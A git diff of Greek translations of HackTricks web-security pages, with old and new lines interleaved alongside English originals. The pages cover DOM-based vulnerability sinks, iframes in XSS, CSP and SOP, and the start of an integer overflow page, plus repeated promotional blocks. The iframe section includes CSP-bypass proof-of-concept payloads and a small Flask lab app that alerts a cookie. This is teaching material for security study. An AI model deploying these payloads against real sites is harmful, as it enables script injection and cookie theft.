### Εκμετάλλευση τοπικής διαδρομής αρχείου
### Τοπική παραποίηση διαδρομής αρχείου
Από: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
Οι ευπάθειες στην εκμετάλλευση τοπικής διαδρομής αρχείου προκύπτουν όταν ένα σενάριο περνά **δεδομένα που ελέγχονται από τον επιτιθέμενο σε μια διεπαφή χειρισμού αρχείων** ως παράμετρο `filename`. Αυτή η ευπάθεια μπορεί να εκμεταλλευτεί από έναν επιτιθέμενο για να κατασκευάσει ένα URL που, αν επισκεφθεί από έναν άλλο χρήστη, θα μπορούσε να οδηγήσει στο **άνοιγμα ή εγγραφή ενός αυθαίρετου τοπικού αρχείου** από τον περιηγητή του χρήστη.
**Οι ευπάθειες τοπικής παραποίησης διαδρομής αρχείου** προκύπτουν όταν ένα σενάριο περνά **δεδομένα που ελέγχονται από τον επιτιθέμενο σε μια API διαχείρισης αρχείων** ως παράμετρο `filename`. Αυτή η ευπάθεια μπορεί να εκμεταλλευτεί από έναν επιτιθέμενο για να κατασκευάσει μια διεύθυνση URL που, αν επισκεφθεί από έναν άλλο χρήστη, θα μπορούσε να οδηγήσει στο **να ανοίξει ή να γράψει ο περιηγητής του χρήστη ένα αυθαίρετο τοπικό αρχείο**.
Απορροές:
Sinks:
```javascript
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
@ -204,65 +209,67 @@ FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
```
### Ενσωμάτωση SQL επί της πλευράς του πελάτη
### Client-Side SQl injection
Από: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
Οι ευπάθειες **ενσωμάτωσης SQL επί της πλευράς του πελάτη** συμβαίνουν όταν ένα σενάριο ενσωματώνει **δεδομένα που ελέγχεται από τον επιτιθέμενο σε μια ερώτηση SQL επί της πλευράς του πελάτη με ανασφαλή τρόπο**.
**Οι ευπάθειες SQL injection στον πελάτη** συμβαίνουν όταν ένα σενάριο ενσωματώνει **δεδομένα που ελέγχονται από τον επιτιθέμενο σε ένα ερώτημα SQL στον πελάτη με ανασφαλή τρόπο**.
Απορροές:
Sinks:
```javascript
executeSql()
```
### Αλλοίωση HTML5 αποθήκευσης
### HTML5-storage manipulation
Από: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
Οι ευπάθειες στην αλλοίωση HTML5 αποθήκευσης προκύπτουν όταν ένα σενάριο αποθηκεύει δεδομένα που ελέγχει ο επιτιθέμενος στην HTML5 αποθήκευση του προγράμματος περιήγησης στον ιστό (localStorage ή sessionStorage). Αν και αυτή η ενέργεια δεν είναι κατ' αρχήν μια ευπάθεια ασφαλείας, γίνεται προβληματική εάν η εφαρμογή στη συνέχεια διαβάζει τα αποθηκευμένα δεδομένα και τα επεξεργάζεται με ανεπαρκή ασφάλεια. Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να εκμεταλλευτεί το μηχανισμό αποθήκευσης για να πραγματοποιήσει άλλες επιθέσεις βασισμένες στο DOM, όπως cross-site scripting και ενσωμάτωση JavaScript.
**Οι ευπάθειες χειρισμού HTML5-storage** προκύπτουν όταν ένα σενάριο **αποθηκεύει δεδομένα που ελέγχονται από τον επιτιθέμενο στην αποθήκευση HTML5 του φυλλομετρητή** (`localStorage` ή `sessionStorage`). Ενώ αυτή η ενέργεια δεν είναι εγγενώς μια ευπάθεια ασφαλείας, γίνεται προβληματική αν η εφαρμογή στη συνέχεια **διαβάσει τα αποθηκευμένα δεδομένα και τα επεξεργαστεί με ανασφαλή τρόπο**. Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να εκμεταλλευτεί τον μηχανισμό αποθήκευσης για να διεξάγει άλλες επιθέσεις βασισμένες στο DOM, όπως η διασταυρούμενη σcripting και η ένεση JavaScript.
Απορροές:
Sinks:
```javascript
sessionStorage.setItem()
localStorage.setItem()
```
### XPath εισροή
### XPath injection
Από: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
Οι ευπάθειες **DOM-based XPath-injection** συμβαίνουν όταν ένα script ενσωματώνει **δεδομένα που ελέγχει ο επιτιθέμενος σε ένα ερώτημα XPath**.
**Ευπάθειες DOM-based XPath-injection** συμβαίνουν όταν ένα σενάριο ενσωματώνει **δεδομένα που ελέγχονται από τον επιτιθέμενο σε ένα ερώτημα XPath**.
Απορροές:
Sinks:
```javascript
document.evaluate()
someDOMElement.evaluate()
```
### Ενσωμάτωση JSON στην πλευρά του πελάτη
### Client-side JSON injection
Από: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
Οι ευπάθειες **DOM-based JSON-injection** συμβαίνουν όταν ένα σενάριο ενσωματώνει **δεδομένα που ελέγχονται από τον επιτιθέμενο σε μια συμβολοσειρά που αναλύεται ως δομή δεδομένων JSON και στη συνέχεια επεξεργάζεται από την εφαρμογή**.
**Οι ευπάθειες JSON-injection που βασίζονται στο DOM** συμβαίνουν όταν ένα σενάριο ενσωματώνει **δεδομένα που ελέγχονται από τον επιτιθέμενο σε μια συμβολοσειρά που αναλύεται ως δομή δεδομένων JSON και στη συνέχεια επεξεργάζεται από την εφαρμογή**.
Απορροές:
Sinks:
```javascript
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
```
### Αλλαγή μηνυμάτων στον ιστό
### Web-message manipulation
Από: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
Οι ευπάθειες στα **μηνύματα του ιστού** προκύπτουν όταν ένα script στέλνει **δεδομένα που ελέγχει ο επιτιθέμενος ως μήνυμα στο έγγραφο** σε άλλο έγγραφο εντός του προγράμματος περιήγησης. Ένα **παράδειγμα** ευάλωτης αλλαγής μηνυμάτων στον ιστό μπορεί να βρεθεί στην [Ακαδημία Ασφαλείας του Ιστού της PortSwigger](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source).
**Ευπάθειες web-message** προκύπτουν όταν ένα σενάριο στέλνει **δεδομένα ελεγχόμενα από τον επιτιθέμενο ως web message σε άλλο έγγραφο** μέσα στον περιηγητή. Ένα **παράδειγμα** ευάλωτης web-message χειραγώγησης μπορεί να βρεθεί στην [Ακαδημία Ασφαλείας Ιστού του PortSwigger](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source).
Απορροές:
Sinks:
Η μέθοδος `postMessage()` για την αποστολή μηνυμάτων στον ιστό μπορεί να οδηγήσει σε ευπάθειες εάν ο ακροατής συμβάντων για τη λήψη μηνυμάτων χειρίζεται τα εισερχόμενα δεδομένα με μη ασφαλή τρόπο.
Η μέθοδος `postMessage()` για την αποστολή web messages μπορεί να οδηγήσει σε ευπάθειες αν ο ακροατής γεγονότων για την παραλαβή μηνυμάτων χειρίζεται τα εισερχόμενα δεδομένα με μη ασφαλή τρόπο.
### Αλλαγή δεδομένων DOM
### DOM-data manipulation
Από: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
Οι ευπάθειες στην **αλλαγή δεδομένων DOM** προκύπτουν όταν ένα script γράφει **δεδομένα που ελέγχει ο επιτιθέμενος σε ένα πεδίο εντός του DOM** που χρησιμοποιείται στο ορατό UI ή στην λογική πελάτη. Αυτή η ευπάθεια μπορεί να εκμεταλλευτεί από έναν επιτιθέμενο για να κατασκευάσει ένα URL που, αν επισκεφθεί από άλλο χρήστη, μπορεί να αλλάξει την εμφάνιση ή τη συμπεριφορά του UI της πλευράς του πελάτη.
**Ευπάθειες DOM-data manipulation** προκύπτουν όταν ένα σενάριο γράφει **δεδομένα ελεγχόμενα από τον επιτιθέμενο σε ένα πεδίο μέσα στο DOM** που χρησιμοποιείται στην ορατή διεπαφή χρήστη ή στη λογική πλευρά του πελάτη. Αυτή η ευπάθεια μπορεί να εκμεταλλευτεί από έναν επιτιθέμενο για να κατασκευάσει μια διεύθυνση URL που, αν επισκεφθεί από άλλο χρήστη, μπορεί να αλλάξει την εμφάνιση ή τη συμπεριφορά της διεπαφής χρήστη πλευράς του πελάτη.
Sinks:
```javascript
scriptElement.src
scriptElement.text
@ -287,13 +294,13 @@ document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
```
### Διακοπή Υπηρεσιών
### Denial of Service
Από: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
Οι ευπάθειες **DOM-based denial-of-service** συμβαίνουν όταν ένα script περνά **δεδομένα που ελέγχεται από τον επιτιθέμενο με ανασφάλεια σε μια προβληματική πλατφόρμα API**. Αυτό περιλαμβάνει APIs που, όταν κληθούν, μπορούν να οδηγήσουν τον υπολογιστή του χρήστη να καταναλώσει **υπερβολικές ποσότητες CPU ή χώρου δίσκου**. Τέτοιες ευπάθειες μπορεί να έχουν σημαντικές παρενέργειες, όπως ο περιορισμός της λειτουργικότητας της ιστοσελίδας από τον περιορισμό των προσπαθειών αποθήκευσης δεδομένων στο `localStorage` ή την τερματισμό των απασχολημένων scripts.
**Ευπάθειες άρνησης υπηρεσίας βασισμένες σε DOM** συμβαίνουν όταν ένα σενάριο περνά **δεδομένα που ελέγχονται από τον επιτιθέμενο με ανασφαλή τρόπο σε μια προβληματική API πλατφόρμα**. Αυτό περιλαμβάνει APIs που, όταν καλούνται, μπορούν να οδηγήσουν τον υπολογιστή του χρήστη να καταναλώνει **υπερβολικές ποσότητες CPU ή χώρου δίσκου**. Τέτοιες ευπάθειες μπορεί να έχουν σημαντικές παρενέργειες, όπως η περιορισμένη λειτουργικότητα της ιστοσελίδας από τον περιηγητή, απορρίπτοντας τις προσπάθειες αποθήκευσης δεδομένων στο `localStorage` ή τερματίζοντας απασχολημένα σενάρια.
Απορροές:
Sinks:
```javascript
requestFileSystem()
RegExp()
@ -304,14 +311,17 @@ RegExp()
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,26 +1,29 @@
# Iframes στο XSS, CSP και SOP
# Iframes in XSS, CSP and SOP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Iframes στο XSS
## Iframes in XSS
Υπάρχουν 3 τρόποι για να υποδείξετε το περιεχόμενο μιας σελίδας που έχει ενσωματωθεί σε ένα iframe:
Υπάρχουν 3 τρόποι για να υποδείξετε το περιεχόμενο μιας σελίδας που είναι ενσωματωμένη σε iframe:
* Μέσω του `src` που υποδεικνύει μια διεύθυνση URL (η διεύθυνση URL μπορεί να είναι διαφορετικής προέλευσης ή ίδιας προέλευσης)
* Μέσω του `src` που υποδεικνύει το περιεχόμενο χρησιμοποιώντας το πρωτόκολλο `data:`
* Μέσω του `srcdoc` που υποδεικνύει το περιεχόμενο
* Μέσω `src` που υποδεικνύει μια διεύθυνση URL (η διεύθυνση URL μπορεί να είναι διασυνοριακή ή ίδια προέλευση)
* Μέσω `src` που υποδεικνύει το περιεχόμενο χρησιμοποιώντας το πρωτόκολλο `data:`
* Μέσω `srcdoc` που υποδεικνύει το περιεχόμενο
**Πρόσβαση σε μεταβλητές γονέα και παιδί**
**Accesing Parent & Child vars**
```html
<html>
<script>
@ -51,18 +54,18 @@ var secret="child secret";
alert(parent.secret)
</script>
```
Εάν αποκτήσετε πρόσβαση στο προηγούμενο html μέσω ενός http server (όπως `python3 -m http.server`), θα παρατηρήσετε ότι όλα τα scripts θα εκτελεστούν (καθώς δεν υπάρχει καμία CSP που να το αποτρέπει)., **ο γονέας δεν θα μπορεί να αποκτήσει πρόσβαση στη μεταβλητή `secret` μέσα σε οποιοδήποτε iframe** και **μόνο τα iframes if2 & if3 (τα οποία θεωρούνται ίδιου site) μπορούν να αποκτήσουν πρόσβαση στο secret** στο αρχικό παράθυρο.\
Παρατηρήστε ότι το if4 θεωρείται να έχει προέλευση `null`.
Αν αποκτήσετε πρόσβαση στο προηγούμενο html μέσω ενός http server (όπως το `python3 -m http.server`) θα παρατηρήσετε ότι όλα τα scripts θα εκτελούνται (καθώς δεν υπάρχει CSP που να το αποτρέπει)., **ο γονέας δεν θα μπορεί να έχει πρόσβαση στη μεταβλητή `secret` μέσα σε οποιοδήποτε iframe** και **μόνο τα iframes if2 & if3 (τα οποία θεωρούνται ότι είναι στον ίδιο ιστότοπο) μπορούν να έχουν πρόσβαση στο secret** στο αρχικό παράθυρο.\
Σημειώστε πώς το if4 θεωρείται ότι έχει `null` προέλευση.
### Iframes με CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
{% hint style="info" %}
Παρακαλώ, παρατηρήστε ότι στις παρακάτω παρακάμψεις η απάντηση στην ενσωματωμένη σελίδα δεν περιέχει κανέναν κεφαλίδα CSP που να αποτρέπει την εκτέλεση του JS.
Παρακαλώ, σημειώστε πώς στις παρακάτω παρακάμψεις η απάντηση στη σελίδα που είναι ενσωματωμένη σε iframe δεν περιέχει κανένα CSP header που να αποτρέπει την εκτέλεση JS.
{% endhint %}
Η τιμή `self` του `script-src` δεν θα επιτρέψει την εκτέλεση του κώδικα JS χρησιμοποιώντας το πρωτόκολλο `data:` ή το χαρακτηριστικό `srcdoc`.\
Ωστόσο, ακόμα και η τιμή `none` του CSP θα επιτρέψει την εκτέλεση των iframes που τοποθετούν ένα URL (πλήρες ή μόνο το μονοπάτι) στο χαρακτηριστικό `src`.\
Επομένως, είναι δυνατό να παρακάμψετε το CSP μιας σελίδας με:
Η τιμή `self` του `script-src` δεν θα επιτρέψει την εκτέλεση του JS κώδικα χρησιμοποιώντας το πρωτόκολλο `data:` ή το χαρακτηριστικό `srcdoc`.\
Ωστόσο, ακόμη και η τιμή `none` του CSP θα επιτρέψει την εκτέλεση των iframes που βάζουν μια διεύθυνση URL (ολόκληρη ή απλώς τη διαδρομή) στο χαρακτηριστικό `src`.\
Επομένως, είναι δυνατόν να παρακαμφθεί το CSP μιας σελίδας με:
```html
<html>
<head>
@ -77,14 +80,14 @@ var secret = "31337s3cr37t";
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
Παρατηρήστε πώς η **προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του inline script**.\
Ωστόσο, **μόνο τα `if1` και `if2` scripts θα εκτελεστούν, αλλά μόνο το `if1` θα έχει πρόσβαση στον γονικό κρυφό κώδικα**.
Σημειώστε ότι η **προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του inline script**.\
Ωστόσο, **μόνο τα scripts `if1` και `if2` θα εκτελούνται αλλά μόνο το `if1` θα μπορεί να έχει πρόσβαση στο γονικό μυστικό**.
![](<../../.gitbook/assets/image (627) (1) (1).png>)
![](<../../.gitbook/assets/image (372).png>)
Επομένως, είναι δυνατόν να **παρακάμψετε μια CSP αν μπορείτε να ανεβάσετε ένα αρχείο JS στον διακομιστή και να το φορτώσετε μέσω iframe ακόμα και με `script-src 'none'`**. Αυτό μπορεί **πιθανώς να γίνει και με κατάχρηση ενός same-site JSONP endpoint**.
Επομένως, είναι δυνατόν να **παρακαμφθεί μια CSP αν μπορείτε να ανεβάσετε ένα αρχείο JS στον διακομιστή και να το φορτώσετε μέσω iframe ακόμη και με `script-src 'none'`**. Αυτό μπορεί **πιθανώς να γίνει επίσης εκμεταλλευόμενοι ένα endpoint JSONP της ίδιας τοποθεσίας**.
Μπορείτε να δοκιμάσετε αυτό με τον παρακάτω σενάριο όπου ένα cookie κλέβεται ακόμα και με `script-src 'none'`. Απλά εκτελέστε την εφαρμογή και αποκτήστε πρόσβαση μέσω του προγράμματος περιήγησής σας:
Μπορείτε να το δοκιμάσετε με το παρακάτω σενάριο όπου ένα cookie κλέβεται ακόμη και με `script-src 'none'`. Απλώς εκτελέστε την εφαρμογή και αποκτήστε πρόσβαση σε αυτήν με τον περιηγητή σας:
```python
import flask
from flask import Flask
@ -104,7 +107,7 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
### Άλλα Payloads που βρέθηκαν στον άγριο <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
### Άλλες Payloads που βρέθηκαν στην άγρια φύση <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
@ -115,24 +118,24 @@ app.run()
```
### Iframe sandbox
Το περιεχόμενο μέσα σε ένα iframe μπορεί να υπόκειται σε επιπλέον περιορισμούς μέσω της χρήσης του χαρακτηριστικού `sandbox`. Από προεπιλογή, αυτό το χαρακτηριστικό δεν εφαρμόζεται, πράγμα που σημαίνει ότι δεν υπάρχουν περιορισμοί.
Το περιεχόμενο μέσα σε ένα iframe μπορεί να υποβληθεί σε επιπλέον περιορισμούς μέσω της χρήσης του χαρακτηριστικού `sandbox`. Από προεπιλογή, αυτό το χαρακτηριστικό δεν εφαρμόζεται, πράγμα που σημαίνει ότι δεν υπάρχουν περιορισμοί.
Όταν χρησιμοποιείται, το χαρακτηριστικό `sandbox` επιβάλλει αρκετούς περιορισμούς:
- Το περιεχόμενο θεωρείται ότι προέρχεται από μια μοναδική πηγή.
- Οποιαδήποτε προσπάθεια υποβολής φορμών αποκλείεται.
- Η εκτέλεση σεναρίων απαγορεύεται.
- Η πρόσβαση σε ορισμένα APIs απενεργοποιείται.
- Αποτρέπεται η αλληλεπίδραση των συνδέσμων με άλλα περιβάλλοντα περιήγησης.
- Η χρήση προσθέτων μέσω των ετικετών `<embed>`, `<object>`, `<applet>` ή παρόμοιων δεν επιτρέπεται.
- Αποτρέπεται η πλοήγηση του κύριου περιβάλλοντος περιήγησης του περιεχομένου από το ίδιο το περιεχόμενο.
- Αποκλείονται λειτουργίες που ενεργοποιούνται αυτόματα, όπως η αναπαραγωγή βίντεο ή η αυτόματη εστίαση των ελέγχων φόρμας.
* Το περιεχόμενο αντιμετωπίζεται σαν να προέρχεται από μια μοναδική πηγή.
* Οποιαδήποτε προσπάθεια υποβολής φορμών αποκλείεται.
* Η εκτέλεση σεναρίων απαγορεύεται.
* Η πρόσβαση σε ορισμένα APIs είναι απενεργοποιημένη.
* Αποτρέπει τους συνδέσμους από το να αλληλεπιδρούν με άλλα περιβάλλοντα περιήγησης.
* Η χρήση plugins μέσω των `<embed>`, `<object>`, `<applet>` ή παρόμοιων ετικετών απαγορεύεται.
* Η πλοήγηση του περιεχομένου στο ανώτατο επίπεδο περιβάλλοντος περιήγησης από το ίδιο το περιεχόμενο αποτρέπεται.
* Χαρακτηριστικά που ενεργοποιούνται αυτόματα, όπως η αναπαραγωγή βίντεο ή η αυτόματη εστίαση των ελέγχων φόρμας, αποκλείονται.
Η τιμή του χαρακτηριστικού μπορεί να αφεθεί κενή (`sandbox=""`) για να εφαρμοστούν όλοι οι προαναφερθέντες περιορισμοί. Εναλλακτικά, μπορεί να οριστεί ως μια λίστα τιμών χωρισμένων με κενό που απαλλάσσει το iframe από ορισμένους περιορισμούς.
Η τιμή του χαρακτηριστικού μπορεί να αφεθεί κενή (`sandbox=""`) για να εφαρμοστούν όλοι οι παραπάνω περιορισμοί. Εναλλακτικά, μπορεί να οριστεί σε μια λίστα συγκεκριμένων τιμών διαχωρισμένων με κενά που εξαιρούν το iframe από ορισμένους περιορισμούς.
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
## Iframes στο SOP
## Iframes in SOP
Ελέγξτε τις παρακάτω σελίδες:
@ -152,14 +155,17 @@ app.run()
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Υπερχείλιση Ακεραιών
# Integer Overflow
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε να κάνετε χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
